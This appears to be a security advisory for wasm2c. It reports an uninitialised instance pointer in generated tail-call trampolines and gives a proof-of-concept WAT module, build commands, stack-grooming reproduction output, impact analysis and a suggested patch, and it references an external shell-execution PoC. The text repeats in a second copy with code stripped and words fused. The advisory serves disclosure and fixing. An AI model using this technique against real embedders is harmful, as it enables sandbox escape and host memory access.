Shell PoC
PoC added for executing an arbitrary shell command on the host
https://github.com/trustsig-eu/wasm2c-tableflip
Summary
CWriter::Write(const ReturnCallExpr&) in src/c-writer.cc emits a tail-call
trampoline whose instance pointer slot is only assigned when the call target is an
import:
/* src/c-writer.cc:4344 */
Write("next->fn = ", TailCallRef(func.name), ";", Newline());
if (IsImport(func.name)) {
Write("*instance_ptr = instance->",
GlobalName(ModuleFieldType::Import,
import_module_sym_map_.at(func.name)),
";", Newline());
}
DropTypes(num_params);
FinishReturnCall();
FinishReturnCall() then runs the trampoline loop
(while (next->fn) { next->fn(instance_ptr, tail_call_stack, next); }), and every
tail-callee begins with w2c_mod* instance = *instance_ptr;. When the target is a
local function, nothing ever writes that slot, so the callee adopts whatever the C
stack happened to contain and uses it as the module instance for globals, memory and
tables.
The declaration is uninitialised by construction:
/* src/c-writer.cc:3140 */
void CWriter::WriteTailCallStack() {
Write("void *instance_ptr_storage;", Newline());
Write("void **instance_ptr = &instance_ptr_storage;", Newline());
...
return_call_indirect is not affected: it always writes
*instance_ptr = <table>.data[i].module_instance;. Nested tail calls from inside a
tail-callee are not affected either, since in_tail_callee_ suppresses
WriteTailCallStack() and the incoming instance_ptr parameter is reused.
Trigger
A return_call whose target is
- a function defined in the same module (not an import), and
- a function that itself performs a tail call, so that
func.features_used.tailcall is set and wasm2c takes the trampoline path rather
than degrading to a plain call.
Module (poc/tailcall-uninit/poc.wat):
(module
(memory (export "mem") 1)
(global $g (export "g") (mut i32) (i32.const 0))
(func $c (result i32) global.get $g)
(func $b (result i32) return_call $c)
(func (export "a") (result i32) return_call $b))
Generated by the released 1.0.41 wasm2c --enable-tail-call:
{
void *instance_ptr_storage; /* never written */
void **instance_ptr = &instance_ptr_storage;
char tail_call_stack[1024];
wasm_rt_tailcallee_t next_storage;
wasm_rt_tailcallee_t *next = &next_storage;
next->fn = wasm_tailcall_w2c_poc_f1;
while (next->fn) { next->fn(instance_ptr, tail_call_stack, next); }
}
and
void wasm_tailcall_w2c_poc_f1(void **instance_ptr, void *tail_call_stack, wasm_rt_tailcallee_t *next) {
w2c_poc* instance = *instance_ptr; /* uninitialised */
...
Reproduction
Without any stack preparation the slot holds leftover data and the module faults:
[dbg] slot at 0xffffd9eeda78 holds 0x1
call trapped: 10
The value is not fixed, it is whatever the C stack holds. poc/tailcall-uninit/main.c
fills that stack region with a pointer to a second, attacker-chosen w2c_poc struct
before calling the export:
real instance = 0xaaaad5a800e8 (global = 0x11111111)
fake instance = 0xaaaad5a80128 (global = 0x00c0ffee)
groomed stack range 0xffffcaf51d50 .. 0xffffcaf61d48
a() = 0x00c0ffee -> READ THROUGH ATTACKER-SUPPLIED INSTANCE POINTER
The module returned the fake instance's global, so the generated code resolved
global.get against a pointer supplied through stack contents rather than against the
instance the embedder passed in.
Build:
wat2wasm --enable-tail-call poc.wat -o poc.wasm
wasm2c --enable-tail-call poc.wasm -o poc.c
clang -O1 -g -I wasm2c -I . poc.c main.c \
wasm2c/wasm-rt-impl.c wasm2c/wasm-rt-mem-impl.c \
wasm2c/wasm-rt-exceptions-impl.c -o poc -lm
./poc
Impact
The instance pointer is the base for everything the sandbox owns: instance->w2c_gN
for globals, (&instance->w2c_mem)->data for the linear memory base, and the table
structs. Controlling it means the generated code reads its memory base from a
location of the attacker's choosing, which is a read and write primitive over the
whole host address space.
The pointer comes from uninitialised stack memory. In this PoC the C driver stages the
value, which models an embedder whose stack contents an attacker can influence. Within
a pure guest-only threat model the guest still controls a large part of that stack
through its own earlier calls (each wasm2c function frame, spilled locals, and the
1 KiB tail_call_stack scratch buffer live in the same region), so treating the value
as attacker-influenced is the safe assumption. Even in the least favourable case the
result is a wild-pointer dereference from untrusted input.
CWE-457 (use of uninitialised variable) leading to CWE-824 / CWE-787.
Affected versions
Present since tail-call support landed in commit 6e350ee (#2272, 2023-10-24), first
released in 1.0.34. Confirmed with the released 1.0.41 wasm2c and 1.0.41 runtime,
and on current main. Requires --enable-tail-call; tail calls are a standardised
WebAssembly feature, not an experimental proposal.
Suggested fix
Write the instance pointer in the local-target case too:
Write("next->fn = ", TailCallRef(func.name), ";", Newline());
if (IsImport(func.name)) {
Write("*instance_ptr = instance->",
GlobalName(ModuleFieldType::Import,
import_module_sym_map_.at(func.name)),
";", Newline());
} else {
Write("*instance_ptr = instance;", Newline());
}
Initialising instance_ptr_storage at its declaration in WriteTailCallStack() would
also remove the uninitialised read, but the assignment at the call site is the one that
makes the value correct.
Shell PoC
PoC added for executing an arbitrary shell command on the host
https://github.com/trustsig-eu/wasm2c-tableflip
Summary
CWriter::Write(const ReturnCallExpr&)insrc/c-writer.ccemits a tail-calltrampoline whose instance pointer slot is only assigned when the call target is an
import:
FinishReturnCall()then runs the trampoline loop(
while (next->fn) { next->fn(instance_ptr, tail_call_stack, next); }), and everytail-callee begins with
w2c_mod* instance = *instance_ptr;. When the target is alocal function, nothing ever writes that slot, so the callee adopts whatever the C
stack happened to contain and uses it as the module instance for globals, memory and
tables.
The declaration is uninitialised by construction:
return_call_indirectis not affected: it always writes*instance_ptr = <table>.data[i].module_instance;. Nested tail calls from inside atail-callee are not affected either, since
in_tail_callee_suppressesWriteTailCallStack()and the incominginstance_ptrparameter is reused.Trigger
A
return_callwhose target isfunc.features_used.tailcallis set and wasm2c takes the trampoline path ratherthan degrading to a plain call.
Module (
poc/tailcall-uninit/poc.wat):Generated by the released 1.0.41
wasm2c --enable-tail-call:{ void *instance_ptr_storage; /* never written */ void **instance_ptr = &instance_ptr_storage; char tail_call_stack[1024]; wasm_rt_tailcallee_t next_storage; wasm_rt_tailcallee_t *next = &next_storage; next->fn = wasm_tailcall_w2c_poc_f1; while (next->fn) { next->fn(instance_ptr, tail_call_stack, next); } }and
Reproduction
Without any stack preparation the slot holds leftover data and the module faults:
The value is not fixed, it is whatever the C stack holds.
poc/tailcall-uninit/main.cfills that stack region with a pointer to a second, attacker-chosen
w2c_pocstructbefore calling the export:
The module returned the fake instance's global, so the generated code resolved
global.getagainst a pointer supplied through stack contents rather than against theinstance the embedder passed in.
Build:
Impact
The instance pointer is the base for everything the sandbox owns:
instance->w2c_gNfor globals,
(&instance->w2c_mem)->datafor the linear memory base, and the tablestructs. Controlling it means the generated code reads its memory base from a
location of the attacker's choosing, which is a read and write primitive over the
whole host address space.
The pointer comes from uninitialised stack memory. In this PoC the C driver stages the
value, which models an embedder whose stack contents an attacker can influence. Within
a pure guest-only threat model the guest still controls a large part of that stack
through its own earlier calls (each wasm2c function frame, spilled locals, and the
1 KiB
tail_call_stackscratch buffer live in the same region), so treating the valueas attacker-influenced is the safe assumption. Even in the least favourable case the
result is a wild-pointer dereference from untrusted input.
CWE-457 (use of uninitialised variable) leading to CWE-824 / CWE-787.
Affected versions
Present since tail-call support landed in commit 6e350ee (#2272, 2023-10-24), first
released in 1.0.34. Confirmed with the released 1.0.41
wasm2cand 1.0.41 runtime,and on current
main. Requires--enable-tail-call; tail calls are a standardisedWebAssembly feature, not an experimental proposal.
Suggested fix
Write the instance pointer in the local-target case too:
Initialising
instance_ptr_storageat its declaration inWriteTailCallStack()wouldalso remove the uninitialised read, but the assignment at the call site is the one that
makes the value correct.